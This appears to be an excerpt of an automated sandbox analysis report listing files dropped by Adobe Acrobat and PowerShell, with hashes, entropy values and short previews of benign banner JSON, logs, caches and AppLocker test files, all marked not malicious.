Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3211957739095705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfzdPeUkwRe9:YvXKXpA9JkZc0vBGb8Ukee9
MD5:	E297A90CE1EEE5391A8AFC20B7F4635F
SHA1:	0CA79953926FFCE94AD7C99390C506041D490A0A
SHA-256:	C8ADD8945D57D28E0EA94801424A5B7401762748CE66FB9B3809A029018C6C61
SHA-512:	6F4D0ACFD44E38E8BDE106281816302433F8363742D36A995C479EB3111585EB22814E590FA5A2A461014776DC3571A5FD3286F2441B3F69BDC838D492929A50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302155031986742
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfYdPeUkwRe9:YvXKXpA9JkZc0vBGg8Ukee9
MD5:	95CB213364B6899998536A2FC8DA9A65
SHA1:	D409A475AF712A12F8821FC4F16B2274D73C2EDE
SHA-256:	8B3014AD900FB307A8629343FEAA32F7E0190419433612CCE9E207CD817A4376
SHA-512:	27D942C466CB53A512C0D3E83C61C0843876809F8806367AEDA090558E77310C1FC665442CCE76992EF4278EEF69BF7F092237AE2A917B12FDBB72DEAB6F4A54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.289092186503266
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJf+dPeUkwRe9:YvXKXpA9JkZc0vBG28Ukee9
MD5:	CA123C5D865D49510A0493E6C2863246
SHA1:	E5E2AB8CBA7147CB0D5C57DDAEB595A6C04F84DA
SHA-256:	F75FC52A00D3029B4B524472454E133EB774EE3D937E2C6CC5DE3D95A08DE3A9
SHA-512:	F7A216F87DA64E8BDFC88E8B85A4C4DAA7ABAAF2382C582CB923494F70DBA5158196DD7DFF52872E135F4FCF5A666D6C741DEDC582EAB387EA1E0AB4642564F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285687318444201
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfbPtdPeUkwRe9:YvXKXpA9JkZc0vBGDV8Ukee9
MD5:	74E4F31BF60420C342D3B2CF8FF1A002
SHA1:	8D0446E7301A414C5F62AF7A97159741C2296363
SHA-256:	1676BEC3FDF1144EE5B2DE059F5EE7CFECB3FD6E90A84E54B02536DDD14DC58C
SHA-512:	70A8DC8EE98D1A940F073B2D1C16BC001C4B0B40FEB87033994D7A1ADBFFF32BE1D47F3B1845925011421DD9F5DDA9491CEAEFECDB9DC546EB1E311DAAC023A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290664465528271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJf21rPeUkwRe9:YvXKXpA9JkZc0vBG+16Ukee9
MD5:	1E44F86A68DC9156DE0FD3C30BDD102C
SHA1:	70D299415FCE20587907FEDB9FB6A33B749D34ED
SHA-256:	AA48836B90F4C174FEA556B7B59AA8AE9556671E8CBA7059B321BE2B70008167
SHA-512:	401A0971BA18B7D991B63CDD2F099300393406531302565261379B70CA5A91FDD5A271FA43F091263E23771179911831E09DBDA30B85BD8C116392271EE020A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658199266361602
Encrypted:	false
SSDEEP:	24:Yv6XpA92zv6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSM:Yv6cBgkDMUJUAh8cvMM
MD5:	8CF343497D620CD4A3E9EF597A519189
SHA1:	97A628B729D403D05770AC3CCD58B535ADFC1894
SHA-256:	5EFDC846B4CC958C31E62907708AE0922C186ACA1769A45B5A0061754D38B445
SHA-512:	04C7DA49E261BC33D4D83109DA2E208E703E5A17A3831E09252D58AF8D6A2BB7314F971418EFC5865174FE73F31FCF5B2330776EE49B92C89DE923F49F9CBFD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266563538464676
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJfshHHrPeUkwRe9:YvXKXpA9JkZc0vBGUUUkee9
MD5:	FBD06522DBF68E95676465E576D37836
SHA1:	13C3AB7A54CB2C93E29757D98B78E261D4DBA350
SHA-256:	28DF34C8AC316C6ED0AFD3317881A55706C98BD8599418E82267083DCE978E3E
SHA-512:	6BA524D5A7101DE071537B644AB6BFDE97B9855283BE398A9B1DEAE7D66F88948FA18E71DD5A05553DAFBEDF2EFB41D36964F021DD251A7297A92BAB9D7204B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273467075965276
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs6ApHJdVoZcg1vRcR0YhoAvJTqgFCrPeUkwRe9:YvXKXpA9JkZc0vBGTq16Ukee9
MD5:	403B58FEA5B5B533F6482C3E9D097C43
SHA1:	643C8E380735F76649296A24367348453937EC35
SHA-256:	D01DB7F3C1984CE2BDD443508B8E669AC60E87011DC3716B624F6BA7400B577C
SHA-512:	18608646563A184B9E03701A9873A69613EE0EB4311ACB6CCD6EBDB47F6CAA30A97D5B68F03B633BEE55A19F4BB1FF97B3513A16DCE1C17F0048692265350C4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee0ba1d-0405-4f7c-ba2a-23e863eb81cb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736712226960,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143593239825657
Encrypted:	false
SSDEEP:	24:YDnUllayfayQTxRvtnRULpL4iBdR/fjD66vj0SNP3yl2x2LSWp73L/CfqjGP5531:YzVRUKinRD667V32I4L/gPL3/9X82
MD5:	F57F045271D4583A2A9E40CC06E5C070
SHA1:	C04A70F4DCFF8047A6A53BF637F5AFA9A755BF57
SHA-256:	ABB466B5B6015DCF1DA2BA5E6113290B434519E51299098A6F3788986ADC768A
SHA-512:	A3E5A1215EA63684DDFA40A3A3890C0620827E54E4167D9D9C15C27F76A905E3A0E9D0B17B8FBC4DBC634AF62CD99F337926D117E7D361C29F33768264A3F409
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d0a6ac3fc4d03f126d214f0e3a24d5d8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534191000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f6758203f7f0b6d250d2ec99f32964f8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534191000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c444cb39292137644b3fbd03b1cdaef1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534191000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f780ea8946b46cce0379cc0841486783","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534191000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2314122b2fe1e12c865de351d9fd82d3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534191000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3706c1e2abeeaa6c01f10c15e5e612b5","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188887828096343
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUUTe3SvR9H9vxFGiDIAEkGVvpATe3:lNVmswUUUUUUUU2C+FGSIt2k
MD5:	9C16A3244F78AAA1BEF1939C540D3958
SHA1:	E4A9AA634C63690EFD08CB028E2DA951EB2C00BD
SHA-256:	310DC25948DEC3514633DC221F415B246D675F8C7328B7569920EAF89C382159
SHA-512:	8529275536161EEF535DDB6D86E6D490935D877C8F7988BA0E886B8B2F80BAF0BA1445BBBFB0018B21D11BACA62619BA84FEF885913600505A11804E886F16E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6083632878336878
Encrypted:	false
SSDEEP:	48:7MyKUUUUUUUUUUUTervR9H9vxFGiDIAEkGVvC/vqFl2GL7msu:7WUUUUUUUUUU2oFGSItU/vKVmsu
MD5:	BEDA0DDAF81A440F1DB2B9A4E03266B7
SHA1:	BA269ACB6F382420B8E74A3B411184981A1CD1CA
SHA-256:	AFA41311F9B784C322216B7C170FCF8F9C28FD53BF1C9D0DE050E9DD764D2C8E
SHA-512:	54C0E26F8E4BD1BD720DC8458DA4E95571682CB16C68082C7673E784660719F9D0EC50822A034412E9041859217FD8C77A29A8CFEF5AC9DF2A1F1C4A38964A97
Malicious:	false
Preview:	.... .c......:(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguln7Q83VtoopjuLoHNv+TSmh9HYyu:6a6TZ44ADEulnH3VtoKZNIh9HK
MD5:	B3F279A82A1B1B2943C8E57941AA7C4D
SHA1:	4592179CD3AEE9DB095F9D03E33AA47E55C21B0B
SHA-256:	63B6FA11F8A3513E1B6AF1F0A066D1A952EB7B364F38312818329F76DB02BED2
SHA-512:	9F0FD1B6EA91195FD670949684FFC0EE090C30534443D08AD4B491B3EC5E5C6042A579D3925AB97FDB7394541C39948F9E5990AF3EBDEB453B9E626A9F2792E8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI2f1e0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5263912796263748
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERwl:Qw946cPbiOxDlbYnuRK+bDRu
MD5:	1EE1F0055B47C0643453153A1CCC8D7A
SHA1:	8C9E1A48588464379DA1A91D273B9486E42CF960
SHA-256:	290C19940D867FE218AC911F768B5B65AA6A3D7D2A908802A94135403ED29873
SHA-512:	850519FB5084CCCF590306F07F0DEE983778ECCB40717D1B27A544B1FB6F1B734B724CFBCD9F451F7DBD31968961A01B1688BA3ED4FCF522366F9B5FA4D7399C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.6.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ctsimhpi.avp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mifeejty.iuw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-36-27-233.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373269534577998
Encrypted:	false
SSDEEP:	384:x05UJ5Y4yckJYL+cBiSN/VmrbYTQRlRgFqQSMAinTa/bBZyCZMGdhQhwpbRTK5RR:LKS
MD5:	4FB5A2A8D5F877CED5695300C108C3FA
SHA1:	C1C5164363FDA170D7AD5E1574625C75B8C47513
SHA-256:	D47A8566D8276F780D7E09A880FAA07C1BCF7FC88B7F8128D01FB7A9B142AA8B
SHA-512:	41372356A8A0ABB274F57905F643D5FBD4C43CE69B27D8BAF6D004D16711A7D1FD6FC2A63082A4AD762B1AE6189B900A53FC7439710B0D76EBB0C8F5BCE2A769
Malicious:	false
Preview:	SessionID=8ca61553-bd6f-4bb8-bc14-481235b17417.1736534187248 Timestamp=2025-01-10T13:36:27:248-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8ca61553-bd6f-4bb8-bc14-481235b17417.1736534187248 Timestamp=2025-01-10T13:36:27:250-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8ca61553-bd6f-4bb8-bc14-481235b17417.1736534187248 Timestamp=2025-01-10T13:36:27:251-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8ca61553-bd6f-4bb8-bc14-481235b17417.1736534187248 Timestamp=2025-01-10T13:36:27:251-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8ca61553-bd6f-4bb8-bc14-481235b17417.1736534187248 Timestamp=2025-01-10T13:36:27:251-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393008656108905
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r1:2Q
MD5:	ECD14593214BC878BF15C6DC013E46EB
SHA1:	DBF8E97CABAB2AE8673BDF1D799EA568A67E1F7F
SHA-256:	2DBA052E2E1B71BC36ABF5B11278CC045C110250888053C1FFD034E5141C3A08
SHA-512:	A550C86ECBE581FD0D8BD2DD28757C526E763037232ED514CD353DF79D26FDD6D0BA84738ECEAC93FB57F0708342A7BF4CD8A79CEC53E9159A414876BB9BD080
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7d925335-2cbf-47a3-b85e-028bbbe69434.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
